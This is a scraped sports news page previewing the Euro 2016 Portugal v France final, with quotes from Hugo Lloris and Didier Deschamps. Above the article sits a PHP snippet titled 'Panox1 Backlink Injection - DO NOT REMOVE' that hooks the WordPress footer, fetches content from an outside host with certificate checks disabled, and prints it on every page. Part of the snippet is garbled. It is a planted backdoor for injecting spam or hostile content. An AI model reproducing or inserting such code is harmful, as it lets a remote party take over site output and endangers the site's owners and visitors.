// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Portugal v France: Euro 2016 has helped French after attacks – Hugo Lloris – Next Sports News

Portugal v France: Euro 2016 has helped French after attacks – Hugo Lloris

[ad_1]

Media playback is not supported on this device

Portugal v France
Date: Sunday, 10 July Venue: Stade de France, Paris Kick-off: 20:00 BST
Coverage: Live on BBC One, BBC Radio 5 live and text commentary online & on BBC Sport app

Hosts France face Portugal in the Euro 2016 final in Paris on Sunday – with goalkeeper and captain Hugo Lloris saying the tournament has helped his country “escape” from November’s attacks in the city.

The final will be played at Stade de France, where the home nation were playing Germany in a friendly eight months ago when the first explosions were heard at the start of a night that ended with 130 dead and hundreds more injured.

France reached the final with a 2-0 victory over World Cup holders Germany in Marseille on Thursday and are favourites to beat Portugal, who ended the hopes of Wales by beating Chris Coleman’s side in Lyon 24 hours earlier.

If France win, it will be their first major tournament triumph since Euro 2000. Portugal have never lifted the trophy, losing to Greece in the Euro 2004 final on home soil in Lisbon.

French sports daily L’Equipe captured the mood of the nation the morning after the win against Germany with the headline “L’Extase” (The Ecstasy) after using “L’Horreur” (The Horror) on 14 November after the Paris attacks.

Didier Deschamps’ side will hope to finish the job on Sunday but face the major threat of Portugal’s Real Madrid superstar Cristiano Ronaldo, who scored one goal and made another as Wales’ adventure in France came to its conclusion.

Tottenham goalkeeper Lloris explained the significance of the final when he said: “The French people really needed to escape in this competition and sport has this strength to bring people together.

“You can see that because we are currently experiencing it. We still have one step to take, though, if we are to finish this tournament in a good way.”

Lloris, 29, added: “We have had some tough times, with tragic events and events off the field, but we are proud to be on the pitch and really feel the French population behind us.”

Griezmann the great French hope

Antoine Griezmann scores in the Euro 2016 semi-final<!–

Antoine Griezmann’s two goals against Germany put him well clear as Euro 2016’s top scorer with six and the firm favourite to win the tournament’s Golden Boot.

He has been the crucial influence for France, also scoring the two second-half goals that took them out of trouble after they trailed 1-0 to the Republic of Ireland at half-time in their last-16 tie.

The 25-year-old will once again carry the hopes of a nation on Sunday, but coach Deschamps is confident the Atletico Madrid forward can shoulder that burden of responsibility.

“Griezmann is a good team player, he is not just an individual player,” said the 47-year-old manager. “He had a very busy season which ended with the Champions League final for his club against Real Madrid.

“He had to digest that and I tried to give him a bit of a break in our first three games – but he is a very talented, clinical player and that is important for the France team.”

Can Portugal break the curse?

Portugal celebrate<!–

Portugal will be hoping to end their reputation as international football’s nearly men, having come close to the major prizes but never claiming any.

As well as reaching that Euro 2004 final, they also lost out in the World Cup semi-final in 2006, the quarter-finals at Euro 2008 and the semi-finals at Euro 2012. They also lost to eventual winners England in the 1966 World Cup semi-final.

Portugal v France: the stats
France have won their past 10 games against Portugal
France are one of three teams to lift the trophy as hosts…
…while Portugal are the only team to lose the final on their home turf (2004 against Greece)
Portugal’s 2-0 semi-final victory over Wales was their first win inside 90 minutes at these finals

The final on social media

So who is going to win on Sunday? The stars have been out on social media sharing their thoughts and predictions.

Lord Sugar<!–

Piers Morgan<!–

Richard Herring<!–

Ruud Gullit<!–

Create leagues and play against your friends in BBC Sport’s new Euro 2016 Predictor game

Let’s block ads! (Why?)

[ad_2]

Source link

Reply